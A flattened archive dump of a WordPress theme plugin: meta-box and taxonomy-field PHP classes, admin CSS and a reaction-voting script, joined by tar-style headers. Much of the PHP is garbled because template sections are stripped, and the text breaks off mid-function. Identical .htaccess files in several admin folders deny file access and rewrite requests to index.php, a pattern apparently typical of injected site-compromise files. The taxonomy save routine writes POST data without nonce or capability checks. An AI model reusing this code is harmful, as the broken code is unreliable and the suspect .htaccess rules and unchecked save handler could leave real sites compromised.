.rb-meta-tab, .rb-meta-none-tab.rb-meta-wrapper { min-height: auto; } [id*="rb_meta_"] > h2 { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif !important; font-size: 16px !important; color: #ffffff !important; border-top: none; border-bottom: none; border-left: 10px solid #9a9dcc; background-color: #3b414c; } [id*="rb_meta_"] p { font-family: inherit !important; } .rb-meta-wrapper.context-side { margin: 0 !important; padding-top: 0; border: none !important; background: none; } .rb-meta-wrapper.context-side .rb-meta-title { display: block; float: none; width: 100%; } .rb-meta-wrapper.context-side .rb-meta-tab { border: none !important; } .rb-meta-wrapper.context-side .rb-meta { padding: 15px 0; border: none; border-bottom: 1px dotted #dddddd; background: none; } .rb-meta-wrapper.context-side .rb-meta:first-child { padding-top: 0; } .rb-meta-wrapper.context-side .rb-meta:last-child { border-bottom: none; } .rb-meta-wrapper.context-side .rb-meta-content { display: block; margin-top: 10px; margin-left: 0; } .rb-meta-wrapper.context-side p.rb-meta-desc { margin-top: 0; } .select-title { font-size: 10px; line-height: 1; display: block; padding-top: 5px; text-align: center; } .rb-meta-panel-header { margin: 0; padding: 0 20px 20px 20px; } .rb-meta-panel-header h3 { font-family: inherit; margin: 0; color: #ffffff; } .rb-meta-tab, .rb-meta-wrapper { min-height: 20vh; } .rb-group-trigger { font-weight: 700; display: inline-block; padding: 7px 10px; text-decoration: none; color: #ffffff !important; border: none; border-radius: 3px; outline: none; background-color: #78d098; } .group-item { position: relative; display: flex; align-items: flex-start; flex-flow: row wrap; width: 100%; margin-bottom: 15px; padding: 10px 10px 10px 25px; cursor: move; border-radius: 5px; background: #ffffff; box-shadow: 0 3px 10px rgba(0, 0, 0, .15); } .rb-group-delete { font-size: .83em; z-index: 10; display: inline-flex; margin-left: auto; margin-right: 0; width: auto !important; padding: 10px 20px; color: #ff7e7e; } body.rtl .rb-group-delete { margin-left: 0; margin-right: auto; } .group-item-title { font-size: .9em; display: block; margin-bottom: 5px; } .group-item > *:not(.rb-group-delete) { width: 100%; padding-right: 10px; padding-left: 10px; margin-bottom: 10px; } .small-item .group-item > *:not(.rb-group-delete) { width: 50%; } .group-item input[type="text"] { width: 100%; min-width: 200px; } .rb-group-trigger:hover { background-color: #599b71; } .group-holder { counter-reset: repeat-index; width: 100%; max-width: 800px; } .group-item:before { position: absolute; top: 10px; left: 10px; font-size: 12px; line-height: 1; display: block; padding: 5px; content: counter(repeat-index); counter-increment: repeat-index; color: #ffffff; border-radius: 5px; background-color: #333f4d; } @media (max-width: 1400px) { .rb-meta-wrapper .rb-meta-title { max-width: 200px; width: 200px; } .rb-meta-content { float: none; clear: both; margin-left: 0; } .rb-meta-wrapper, .rb-meta-panel-header { margin-right: 0; margin-left: 0; } .rb-meta-tab-header { width: 190px; } .rb-meta-tab { margin-left: 190px; } } .mce-shortcode-label { pointer-events: none; background-color: #437dcc !important; } .mce-shortcode-label .mce-text { text-transform: uppercase; color: #ffffff !important; } .rb-date-content > input { float: left; min-width: 0 !important; max-width: 150px; } .is-hidden { display: none; } /* rtl */ body.rtl .rb-meta-wrapper { border-right: none; } body.rtl .rb-meta-tab-header { float: right; } body.rtl .rb-meta-tab { margin-right: 220px; margin-left: 0; border-right: 1px solid #f7f7f7; border-left: none; } body.rtl .rb-meta-title { float: right; padding-right: 0; padding-left: 30px; } body.rtl .thumbnail.file img { margin-right: 0; margin-left: 10px; } body.rtl .thumbnail .file-name { margin-right: 7px; margin-left: 0; } body.rtl div#rb-tab-rb-meta-none-tab { margin-right: 0; } body.rtl [id*="rb_meta_"] > h2 { border-right: 10px solid #9a9dcc; border-left: none; } body.rtl .rb-meta-wrapper.context-side .rb-meta-content { margin-right: 0; } body.rtl .rb-tab-title h3:before { margin-right: 0; margin-left: 7px; } body.rtl .group-item:before { margin-right: 0; margin-left: 7px; } @media (max-width: 1400px) { body.rtl .rb-meta-content { margin-right: 0; } body.rtl .rb-meta-tab { margin-right: 190px; } } body.rtl .rb-date-content > input { float: right; } admin/rb-meta/assets/.htaccess000064400000001626147206624460012303 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/rb-meta/rb-meta.php000064400000076073147206624460011253 0ustar00ID, '_wp_page_template', true ); if ( ! empty( $section['except_template'] ) && $section['except_template'] === $current_template ) { continue; } if ( ! empty( $section['include_template'] ) && $section['include_template'] !== $current_template ) { continue; } } $section = wp_parse_args( $section, array( 'id' => '', 'title' => 'Ruby Meta Box', 'context' => 'normal', 'post_types' => array( 'post' ), 'priority' => 'high', ) ); add_meta_box( 'rb_meta_' . $section['id'], $section['title'], array( $this, 'settings_form' ), $section['post_types'], $section['context'], $section['priority'], $section ); } } } public function register_scripts( $hook ) { if ( $hook === 'post.php' || $hook === 'post-new.php' ) { wp_enqueue_media(); wp_enqueue_script( 'jquery-ui-datepicker' ); wp_register_script( 'rb-meta-script', plugin_dir_url( __FILE__ ) . '/assets/meta.js', array( 'jquery', 'jquery-ui-datepicker' ), self::RB_META_VERSION, true ); wp_register_style( 'rb-meta-style', plugin_dir_url( __FILE__ ) . '/assets/meta.css', array(), self::RB_META_VERSION, 'all' ); wp_localize_script( 'rb-meta-script', 'rbMetaParams', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ) ) ); wp_enqueue_style( 'rb-meta-style' ); wp_enqueue_script( 'rb-meta-script' ); } } /** * @param $post_id * save metaboxes */ function save( $post_id ) { $is_autosave = wp_is_post_autosave( $post_id ); $is_revision = wp_is_post_revision( $post_id ); if ( ! empty( $_POST['rb_meta_nonce'] ) && wp_verify_nonce( $_POST['rb_meta_nonce'], basename( __FILE__ ) ) ) { $is_valid_nonce = true; } else { $is_valid_nonce = false; } if ( $is_autosave || $is_revision || ! $is_valid_nonce ) { return false; } if ( isset( $_POST['rb_meta'] ) ) { $stored_meta = get_post_meta( $post_id, RB_META_ID, true ); if ( ! is_array( $stored_meta ) ) { $stored_meta = array(); } $rb_meta_data = $_POST['rb_meta']; if ( is_array( $rb_meta_data ) ) { foreach ( $rb_meta_data as $meta_id => $meta_val ) { $meta_id = sanitize_text_field( $meta_id ); /** sanitize_text_field */ if ( ! current_user_can( 'unfiltered_html' ) ) { if ( is_array( $meta_val ) ) { foreach ( $meta_val as $key => $val ) { if ( is_array( $val ) ) { $meta_val[ $key ] = array_map( 'sanitize_text_field', $val ); } else { $meta_val[ $key ] = sanitize_text_field( $val ); } } } else { $meta_val = sanitize_text_field( $meta_val ); } } if ( ! empty( $meta_val['type'] ) ) { if ( $meta_val['type'] === 'datetime' ) { if ( ! empty( $meta_val['date'] ) ) { if ( empty( $meta_val['time'] ) || ! preg_match( "/^(?:2[0-3]|[01][0-9]):[0-5][0-9]$/", $meta_val['time'] ) ) { $meta_val['time'] = ''; } $stored_meta[ $meta_id ] = strtotime( $meta_val['date'] . ' ' . $meta_val['time'] ); if ( ! empty( $meta_val['key'] ) ) { update_post_meta( $post_id, $meta_val['key'], $stored_meta[ $meta_id ] ); } } else { $stored_meta[ $meta_id ] = ''; if ( isset( $meta_val['kvd'] ) ) { update_post_meta( $post_id, $meta_val['key'], $meta_val['kvd'] ); } else { update_post_meta( $post_id, $meta_val['key'], '' ); } } } } else { $stored_meta[ $meta_id ] = $meta_val; } } }; update_post_meta( $post_id, RB_META_ID, $stored_meta ); } } /** * @param $post * @param $callback_args * settings form */ function settings_form( $post, $callback_args ) { $stored_meta = get_post_meta( $post->ID, RB_META_ID, true ); if ( empty( $callback_args['args'] ) ) { return; } $section = $callback_args['args']; $wrapper_classname = array(); $wrapper_classname[] = 'rb-meta-wrapper'; $heading = ''; $description = ''; if ( ! empty( $callback_args['args']['heading'] ) ) { $heading = $callback_args['args']['heading']; } elseif ( ! empty( $callback_args['args']['title'] ) ) { $heading = $callback_args['args']['title']; } if ( ! empty( $callback_args['args']['desc'] ) ) { $description = $callback_args['args']['desc']; } if ( empty( $section['tabs'] ) || ! is_array( $section['tabs'] ) ) { if ( ! isset( $section['fields'] ) ) { $section['fields'] = array(); } $section['tabs'] = array( array( 'id' => 'rb-meta-none-tab', 'title' => '', 'fields' => $section['fields'] ) ); $wrapper_classname[] = 'rb-meta-none-tab'; } if ( ! empty( $section['context'] ) ) { $wrapper_classname[] = 'context-' . esc_attr( $section['context'] ); } $wrapper_classname = implode( ' ', $wrapper_classname ); $rb_last_tab = ''; $data_attrs = 'data-section_id = rb_meta_' . $section['id']; if ( ! empty( $section['except_template'] ) ) { $data_attrs .= ' data-except_template=' . esc_attr( $section['except_template'] ) . ''; } if ( ! empty( $section['include_template'] ) ) { $data_attrs .= ' data-include_template=' . esc_attr( $section['include_template'] ) . ''; } if ( ! empty( $stored_meta['last_tab'] ) && ! empty( $stored_meta['last_tab'][ $section['id'] ] ) ) { $rb_last_tab = $stored_meta['last_tab'][ $section['id'] ]; }; ?>

>
'', 'title' => '' ) ); if ( ( isset( $active ) && true === $active ) || (string) $rb_last_tab === (string) $tab['id'] ) { $class_name = 'rb-tab-title is-active'; $active = false; } else { $class_name = 'rb-tab-title'; } ?>

'', 'title' => '', 'desc' => '' ) ); if ( ( isset( $active ) && true === $active ) || (string) $rb_last_tab === (string) $tab['id'] ) { $class_name = 'rb-meta-tab is-active'; $active = false; } else { $class_name = 'rb-meta-tab'; } ?>

'', 'name' => '', 'desc' => '', 'type' => '', 'class' => '', 'default' => '' ) ); if ( ! empty( $stored_meta[ $params['id'] ] ) ) { $params['value'] = $stored_meta[ $params['id'] ]; } $func_mame = 'input_' . $params['type']; if ( method_exists( $this, $func_mame ) ) { $this->$func_mame( $params ); } endforeach; ?>
'; } } wp_send_json( $str ); die(); } } /** * @param $params */ function input_text( $params ) { $defaults = array( 'id' => '', 'name' => '', 'desc' => '', 'default' => '', 'class' => '', 'placeholder' => '' ); $params = wp_parse_args( $params, $defaults ); if ( ! isset( $params['value'] ) ) { if ( ! empty( $params['default'] ) ) { $params['value'] = $params['default']; } else { $params['value'] = ''; } } ?>

'', 'name' => '', 'desc' => '', 'default' => '', 'options' => array(), 'class' => '' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $params['default']; } ?>

'', 'name' => '', 'desc' => '', 'default' => '', 'options' => array(), 'class' => '' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $params['default']; } ?>

$image ) : if ( (string) $params['value'] === (string) $val ) : ?> '#', 'title' => '' ) ); ?> '#', 'title' => '' ) ); ?>
'', 'name' => '', 'desc' => '', 'default' => '', 'class' => 'rb-images' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $defaults['default']; } ?> '', 'name' => '', 'desc' => '', 'default' => '', 'class' => '', 'placeholder' => '' ); $params = wp_parse_args( $params, $defaults ); if ( ! isset( $params['value'] ) ) { if ( ! empty( $params['default'] ) ) { $params['value'] = $params['default']; } else { $params['value'] = ''; } } ?>

'', 'name' => '', 'desc' => '', 'default' => '', 'taxonomy' => 'category', 'class' => '', 'empty' => 'None' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $params['default']; } $categories_data = array(); $categories = get_categories( array( 'hide_empty' => 0, 'type' => 'post', ) ); $array_walker = new Rb_Category_Select_Walker; $array_walker->walk( $categories, 4 ); $buffer = $array_walker->cat_array; foreach ( $buffer as $name => $id ) { $categories_data[ $name ] = $id; } $params['options'] = $categories_data; ?>

'', 'name' => '', 'desc' => '', 'default' => '', 'class' => 'rb-file' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $params['default']; } ?>

'; if ( ! wp_attachment_is_image( $params['value'] ) ) { $src = wp_mime_type_icon( $params['value'] ); echo ''; } else { echo ''; } echo '' . esc_attr( $file_name ) . ''; endif; ?>
'', 'name' => '', 'desc' => '', 'default' => '', 'key' => '', 'kvd' => '', 'class' => 'rb-date', 'placeholder' => 'mm/dd/yyyy' ); $params = wp_parse_args( $params, $defaults ); if ( empty( $params['value'] ) ) { $params['value'] = $params['default']; } ?>

'', 'name' => '', 'desc' => '', 'default' => '', 'fields' => array(), 'button' => '', 'class' => '', 'value' => array(), ); $params = wp_parse_args( $params, $defaults ); if ( ! isset( $params['value']['placebo'] ) ) { $params['value']['placebo'] = array(); } ?>

$item ) : $class_name = 'group-item'; if ( 'placebo' === ( string ) $index ) { $class_name .= ' group-placebo is-hidden'; } ?>
'', 'id' => '', 'name' => '', 'default' => '', ) ); if ( ! isset( $item[ $field['id'] ] ) ) { $item[ $field['id'] ] = $field['default']; } if ( (string) $index === 'placebo' ) { $item[ $field['id'] ] = 0; } ?>
Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/includes.php000064400000000730147206624460010166 0ustar00set_sub_page(); } /** get sub page */ abstract public function set_sub_page(); /** get slug */ abstract public function get_slug(); /** get file name */ abstract public function get_name(); /** get params */ public function get_params() { return $this->params; } public function set_params( $params = array() ) { return $this->params = $params; } public function validate() { return RB_ADMIN_CORE::get_instance()->get_purchase_code(); } public function render() { echo rb_admin_get_template_part( $this->get_slug(), $this->get_name(), $this->get_params() ); } } }admin/taxonomy.php000064400000042540147206624460010243 0ustar00_meta = $meta; $this->normalize(); add_action( 'admin_init', array( $this, 'add' ), 100 ); add_action( 'edit_term', array( $this, 'save' ), 10, 2 ); add_action( 'delete_term', array( $this, 'delete' ), 10, 2 ); add_action( 'load-edit-tags.php', array( $this, 'load_edit_page' ) ); } /** * Enqueue scripts and styles * * @return void */ function load_edit_page() { $screen = get_current_screen(); if ( ! ( 'term' === $screen->base || ( 'edit-tags' === $screen->base && ! empty( $_GET['action'] ) && 'edit' === $_GET['action'] ) ) || ! in_array( $screen->taxonomy, $this->_taxonomies ) ) { return; } add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) ); add_action( 'admin_footer', array( $this, 'js_templates' ), 1 ); add_action( 'admin_footer', array( $this, 'output_js' ), 100 ); } /** * Enqueue scripts and styles * * @return void */ function admin_enqueue_scripts() { wp_enqueue_script( 'jquery' ); $this->check_field_upload(); $this->check_field_date(); $this->check_field_color(); $this->check_field_time(); } /** * Output JS into footer * * @return void */ function output_js() { echo $this->js ? '' : ''; } public function js_templates() { $template = ''; $template .= ''; echo $template; } /******************** BEGIN FIELDS **********************/ // Check field upload and add needed actions function check_field_upload() { if ( ! $this->has_field( 'image' ) && $this->has_field( 'file' ) ) { return; } // Add enctype $this->js .= ' $("#edittag").attr("enctype", "multipart/form-data"); '; // Delete file $this->js .= ' $("body").on("click", ".rwtm-delete-file", function(){ $(this).parent().remove(); return false; }); '; if ( $this->has_field( 'file' ) ) { $this->js .= " \$('body').on('click', '.rwtm-file-upload', function(){ let id = \$(this).data('field'); let template = wp.template('taxonomy-select-images'); var \$uploaded = \$(this).siblings('.rwtm-uploaded'); var frame = wp.media({ multiple : true, title : \"" . __( 'Select File', 'rwtm' ) . "\" }); frame.on('select', function() { var selection = frame.state().get('selection').toJSON(); var data = { attachments: selection, id: id }; \$uploaded.append(template(data)); }); frame.open(); return false; }); "; } if ( ! $this->has_field( 'image' ) ) { return; } wp_enqueue_media(); $this->js .= " \$('body').on('click', '.rwtm-image-upload', function(){ var id = \$(this).data('field'); let template = wp.template('taxonomy-select-images'); var \$uploaded = \$(this).siblings('.rwtm-uploaded'); var frame = wp.media({ multiple : true, title : \"" . __( 'Select Image', 'rwtm' ) . "\", library : { type: 'image' } }); frame.on('select', function() { var selection = frame.state().get('selection').toJSON(); var data = { attachments: selection, id: id }; \$uploaded.append(template(data)); }); frame.open(); return false; }); "; } // Check field color function check_field_color() { if ( ! $this->has_field( 'color' ) ) { return; } wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'wp-color-picker' ); $this->js .= '$(".color").wpColorPicker();'; } // Check field date function check_field_date() { if ( ! $this->has_field( 'date' ) ) { return; } wp_enqueue_style( 'jquery-ui', '//ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/themes/smoothness/jquery-ui.min.css' ); wp_enqueue_script( 'jquery-ui-datepicker' ); // JS $dates = array(); foreach ( $this->_fields as $field ) { if ( 'date' == $field['type'] ) { $dates[ $field['id'] ] = $field['format']; } } foreach ( $dates as $id => $format ) { $this->js .= "$('#$id').datepicker({ dateFormat: '$format', showButtonPanel: true });"; } } // Check field time function check_field_time() { if ( ! $this->has_field( 'time' ) ) { return; } wp_enqueue_style( 'jquery-ui', '//ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/themes/smoothness/jquery-ui.min.css' ); wp_enqueue_style( 'jquery-ui-timepicker', '//cdn.jsdelivr.net/jquery.ui.timepicker.addon/1.3/jquery-ui-timepicker-addon.css' ); wp_enqueue_script( 'jquery-ui-timepicker', '//cdn.jsdelivr.net/jquery.ui.timepicker.addon/1.3/jquery-ui-timepicker-addon.min.js', array( 'jquery-ui-datepicker', 'jquery-ui-slider' ) ); // JS $times = array(); foreach ( $this->_fields as $field ) { if ( 'time' == $field['type'] ) { $times[ $field['id'] ] = $field['format']; } } foreach ( $times as $id => $format ) { $this->js .= "$('#$id').timepicker({showSecond: true, timeFormat: '$format'})"; } } /******************** BEGIN META BOX PAGE **********************/ // Add meta fields for taxonomies function add() { foreach ( get_taxonomies() as $tax_name ) { if ( in_array( $tax_name, $this->_taxonomies ) ) { add_action( $tax_name . '_edit_form', array( $this, 'show' ), 9, 2 ); } } } // Show meta fields function show( $tag, $taxonomy ) { // get meta fields from option table $metas = get_option( $this->_meta['id'] ); if ( empty( $metas ) ) { $metas = array(); } if ( ! is_array( $metas ) ) { $metas = (array) $metas; } // get meta fields for current term $metas = isset( $metas[ $tag->term_id ] ) ? $metas[ $tag->term_id ] : array(); wp_nonce_field( basename( __FILE__ ), 'rw_taxonomy_meta_nonce' ); echo '
'; echo "

{$this->_meta['title']}

"; echo "

{$this->_meta['info']}

"; echo ""; foreach ( $this->_fields as $field ) { echo ''; $meta = ! empty( $metas[ $field['id'] ] ) ? $metas[ $field['id'] ] : $field['std']; // get meta value for current field $meta = is_array( $meta ) ? array_map( 'esc_attr', $meta ) : esc_attr( $meta ); call_user_func( array( $this, 'show_field_' . $field['type'] ), $field, $meta ); echo ''; } echo '
'; } /******************** BEGIN META BOX FIELDS **********************/ function show_field_begin( $field, $meta ) { echo ""; if ( ! empty( $field['desc'] ) ) { echo "{$field['desc']}"; } echo ""; } function show_field_end( $field, $meta ) { echo ""; } function show_field_info( $field, $meta ) { $this->show_field_begin( $field, $meta ); $this->show_field_end( $field, $meta ); } function show_field_text( $field, $meta ) { if ( ! isset( $field['placeholder'] ) ) { $field['placeholder'] = ''; } if ( ! isset( $field['classes'] ) ) { $field['classes'] = 'text-field'; } $this->show_field_begin( $field, $meta ); echo ""; $this->show_field_end( $field, $meta ); } function show_field_textarea( $field, $meta ) { if ( ! isset( $field['placeholder'] ) ) { $field['placeholder'] = ''; } if ( empty( $field['rows'] ) ) { $field['rows'] = '10'; } $this->show_field_begin( $field, $meta ); echo ""; $this->show_field_end( $field, $meta ); } function show_field_select( $field, $meta ) { if ( ! is_array( $meta ) ) { $meta = (array) $meta; } $this->show_field_begin( $field, $meta ); echo ""; $this->show_field_end( $field, $meta ); } function show_field_radio( $field, $meta ) { $this->show_field_begin( $field, $meta ); $html = array(); foreach ( $field['options'] as $key => $value ) { $html[] .= ""; } echo implode( ' ', $html ); $this->show_field_end( $field, $meta ); } function show_field_checkbox( $field, $meta ) { $this->show_field_begin( $field, $meta ); echo ""; $this->show_field_end( $field, $meta ); } function show_field_wysiwyg( $field, $meta ) { $this->show_field_begin( $field, $meta ); wp_editor( $meta, $field['id'], array( 'textarea_name' => $field['id'], 'editor_class' => $field['id'] . ' theEditor', ) ); $this->show_field_end( $field, $meta ); } function show_field_file( $field, $meta ) { if ( ! is_array( $meta ) ) { $meta = (array) $meta; } $this->show_field_begin( $field, $meta ); echo '
    '; foreach ( $meta as $att ) { printf( '
  1. %s (%s)
  2. ', wp_get_attachment_link( $att ), __( 'Delete', 'rwtm' ), $field['id'], $att ); } echo '
'; echo "" . __( 'Select File', 'rwtm' ) . ""; echo ''; } function show_field_image( $field, $meta ) { if ( ! is_array( $meta ) ) { $meta = (array) $meta; } $this->show_field_begin( $field, $meta ); echo '
    '; foreach ( $meta as $att ) { $image = wp_get_attachment_image_src( $att, array( 150, 150 ) ); if ( $image === false ) { continue; } printf( '
  • %s
  • ', $image[0], __( 'Delete', 'rwtm' ), $field['id'], $att ); } echo '
'; echo "" . __( 'Select Image', 'rwtm' ) . ""; echo ''; } function show_field_color( $field, $meta ) { if ( empty( $meta ) ) { $meta = '#'; } $this->show_field_begin( $field, $meta ); echo ""; $this->show_field_end( $field, $meta ); } function show_field_checkbox_list( $field, $meta ) { if ( ! is_array( $meta ) ) { $meta = (array) $meta; } $this->show_field_begin( $field, $meta ); $html = array(); foreach ( $field['options'] as $key => $value ) { $html[] = " $value"; } echo implode( '
', $html ); $this->show_field_end( $field, $meta ); } function show_field_date( $field, $meta ) { $this->show_field_text( $field, $meta ); } function show_field_time( $field, $meta ) { $this->show_field_text( $field, $meta ); } /******************** BEGIN META BOX SAVE **********************/ // Save meta fields function save( $term_id, $tt_id ) { $current_term = get_term( $term_id ); $metas = get_option( $this->_meta['id'] ); if ( ! is_array( $metas ) ) { $metas = (array) $metas; } // $meta = isset( $metas[ $term_id ] ) ? $metas[ $term_id ] : array(); $new_array = array(); $new_array['_term_slug'] = ''; foreach ( $this->_fields as $field ) { $name = $field['id']; $new = isset( $_POST[ $name ] ) ? $_POST[ $name ] : ( $field['multiple'] ? array() : '' ); $new = is_array( $new ) ? array_map( 'stripslashes', $new ) : stripslashes( $new ); /** add attachment URLs */ if ( ! empty( $field['type'] ) && $field['type'] == 'image' ) { $attachments = $field['id'] . '_urls'; $new_array[ $attachments ] = array(); if ( is_array( $new ) ) { foreach ( $new as $image_id ) { array_push( $new_array[ $attachments ], wp_get_attachment_image_url( $image_id, 'full' )); } } } $new_array[ $name ] = $new; } $new_array['_term_slug'] = $current_term->slug; $metas[ $term_id ] = $new_array; update_option( $this->_meta['id'], $metas ); } /******************** BEGIN META BOX DELETE **********************/ function delete( $term_id, $tt_id ) { $metas = get_option( $this->_meta['id'] ); if ( ! is_array( $metas ) ) { $metas = (array) $metas; } unset( $metas[ $term_id ] ); update_option( $this->_meta['id'], $metas ); } /******************** BEGIN HELPER FUNCTIONS **********************/ // Add missed values for meta box function normalize() { // Default values for meta box $this->_meta = array_merge( array( 'taxonomies' => array( 'category', 'post_tag' ) ), $this->_meta ); $this->_taxonomies = $this->_meta['taxonomies']; $this->_fields = $this->_meta['fields']; // Default values for fields foreach ( $this->_fields as & $field ) { $multiple = in_array( $field['type'], array( 'checkbox_list', 'file', 'image' ) ) ? true : false; $std = $multiple ? array() : ''; $format = 'date' == $field['type'] ? 'yy-mm-dd' : ( 'time' == $field['type'] ? 'hh:mm' : '' ); $style = in_array( $field['type'], array( 'text', 'textarea' ) ) ? 'width: 95%' : ''; $optgroups = false; if ( 'select' == $field['type'] ) { $style = 'height: auto'; } $field = array_merge( array( 'multiple' => $multiple, 'optgroups' => $optgroups, 'std' => $std, 'desc' => '', 'format' => $format, 'style' => $style, ), $field ); } } // Check if field with $type exists function has_field( $type ) { foreach ( $this->_fields as $field ) { if ( $type == $field['type'] ) { return true; } } return false; } /** * Fixes the odd indexing of multiple file uploads from the format: * $_FILES['field']['key']['index'] * To the more standard and appropriate: * $_FILES['field']['index']['key'] */ function fix_file_array( $files ) { $output = array(); foreach ( $files as $key => $list ) { foreach ( $list as $index => $value ) { $output[ $index ][ $key ] = $value; } } $files = $output; return $output; } /******************** END HELPER FUNCTIONS **********************/ } }admin/core-helpers.php000064400000002172147206624460010752 0ustar00page_title = esc_html__( 'Theme Options', 'foxiz-core' ); $this->menu_title = esc_html__( 'Theme Options', 'foxiz-core' ); if ( ! $this->validate() ) { $this->menu_slug = 'rb-validation-redirect'; } else { $this->menu_slug = 'ruby-options'; } $this->capability = 'administrator'; } public function get_slug() { if ( ! $this->validate() ) { return 'admin/templates/validate'; } return false; } public function get_name() { if ( ! $this->validate() ) { return 'redirect'; } return false; } } }admin/tops/.htaccess000064400000001626147206624460010437 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/.htaccess000064400000001626147206624460007452 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] reaction/reaction.js000064400000006262147206624460010533 0ustar00/** RUBY REACTION */ var RB_REACTION = (function (Module, $) { "use strict"; Module.ajaxURL = foxizCoreParams.ajaxurl; Module.init = function () { this.clickReaction(); this.loadReactions(); }; Module.loadReactions = function () { var self = this; self.reaction = $('.rb-reaction'); if (self.reaction.length < 1) { return; } self.reactionProcessing = false; self.reaction.each(function () { var currentReaction = $(this); var uid = currentReaction.data('reaction_uid'); if (!currentReaction.hasClass('data-loaded')) { self.loadCurrentReaction(currentReaction, uid); } }); }; Module.loadCurrentReaction = function (currentReaction, uid) { var self = this; self.reactionProcessing = true; $.ajax({ type: 'POST', url: self.ajaxURL, data: { action: 'rb_load_reaction', uid: uid }, success: function (response) { response = JSON.parse(JSON.stringify(response)); $.each(response, function (index, val) { currentReaction.find('[data-reaction=' + val + ']').addClass('active'); }); currentReaction.addClass('data-loaded'); self.reactionProcessing = false; } }); }; Module.clickReaction = function () { var self = this; $('.reaction').off('click').on('click', function (e) { e.preventDefault(); e.stopPropagation(); var target = $(this); var reaction = target.data('reaction'); var uid = target.data('reaction_uid'); var push = 1; if (self.reactionProcessing) { return; } target.addClass('loading'); self.reactionProcessing = true; var reactionCount = target.find('.reaction-count'); var total = parseInt(reactionCount.html()); if (target.hasClass('active')) { total--; push = '-1'; } else { total++; } $.ajax({ type: 'POST', url: self.ajaxURL, data: { action: 'rb_add_reaction', uid: uid, reaction: reaction, push: push }, success: function (response) { if (true === response) { reactionCount.hide().html(total).fadeIn(300); target.toggleClass('active'); target.removeClass('loading'); self.reactionProcessing = false; } } }); return false; }); }; return Module; }(RB_REACTION || {}, jQuery)); /** init RUBY REACTION */ jQuery(window).on('load', function () { RB_REACTION.init(); });reaction/reaction.php000064400000020152147206624460010700 0ustar00register_reaction(); add_action( 'wp_enqueue_scripts', array( $this, 'register_scripts' ), 10 ); add_action( 'wp_ajax_nopriv_rb_add_reaction', array( $this, 'add_reaction' ) ); add_action( 'wp_ajax_rb_add_reaction', array( $this, 'add_reaction' ) ); add_action( 'wp_ajax_nopriv_rb_load_reaction', array( $this, 'get_reactions' ) ); add_action( 'wp_ajax_rb_load_reaction', array( $this, 'get_reactions' ) ); add_shortcode( 'ruby_reaction', array( $this, 'render' ) ); } /** * @return bool * check AMP */ public function is_amp() { if ( function_exists( 'foxiz_is_amp' ) ) { return foxiz_is_amp(); } return false; } /** * register scripts */ function register_scripts() { if ( ! $this->is_amp() ) { wp_register_script( 'rb-reaction', plugin_dir_url( __FILE__ ) . 'reaction.js', array( 'jquery' ), '1.0', true ); } } /** * enqueue_scripts */ public function enqueue_scripts() { if ( ! wp_script_is( 'rb-reaction' ) ) { wp_enqueue_script( 'rb-reaction' ); } } /** * register_reaction */ function register_reaction() { $this->defaults = array( 'love' => array( 'id' => 'love', 'title' => foxiz_html__( 'Love', 'foxiz-core' ), 'icon' => 'icon-love' ), 'sad' => array( 'id' => 'sad', 'title' => foxiz_html__( 'Sad', 'foxiz-core' ), 'icon' => 'icon-sad' ), 'happy' => array( 'id' => 'happy', 'title' => foxiz_html__( 'Happy', 'foxiz-core' ), 'icon' => 'icon-happy' ), 'sleepy' => array( 'id' => 'sleepy', 'title' => foxiz_html__( 'Sleepy', 'foxiz-core' ), 'icon' => 'icon-sleepy' ), 'angry' => array( 'id' => 'angry', 'title' => foxiz_html__( 'Angry', 'foxiz-core' ), 'icon' => 'icon-angry' ), 'dead' => array( 'id' => 'dead', 'title' => foxiz_html__( 'Dead', 'foxiz-core' ), 'icon' => 'icon-dead' ), 'wink' => array( 'id' => 'wink', 'title' => foxiz_html__( 'Wink', 'foxiz-core' ), 'icon' => 'icon-wink' ), 'cry' => array( 'id' => 'cry', 'title' => foxiz_html__( 'Cry', 'foxiz-core' ), 'icon' => 'icon-cry' ), 'embarrass' => array( 'id' => 'embarrass', 'title' => foxiz_html__( 'Embarrass', 'foxiz-core' ), 'icon' => 'icon-embarrass' ), 'joy' => array( 'id' => 'cry', 'title' => foxiz_html__( 'Joy', 'foxiz-core' ), 'icon' => 'icon-joy' ), 'shy' => array( 'id' => 'shy', 'title' => foxiz_html__( 'Shy', 'foxiz-core' ), 'icon' => 'icon-shy' ), 'surprise' => array( 'id' => 'surprise', 'title' => foxiz_html__( 'Surprise', 'foxiz-core' ), 'icon' => 'icon-surprise' ), ); } /** * @return string|string[]|null * get IPs */ function get_ip() { if ( function_exists( 'foxiz_get_user_id' ) ) { return foxiz_get_user_ip(); } else { return '127.0.0.1'; } } /** * add reaction */ function add_reaction() { if ( empty( $_POST['uid'] ) || empty( $_POST['reaction'] ) || empty( $_POST['push'] ) ) { 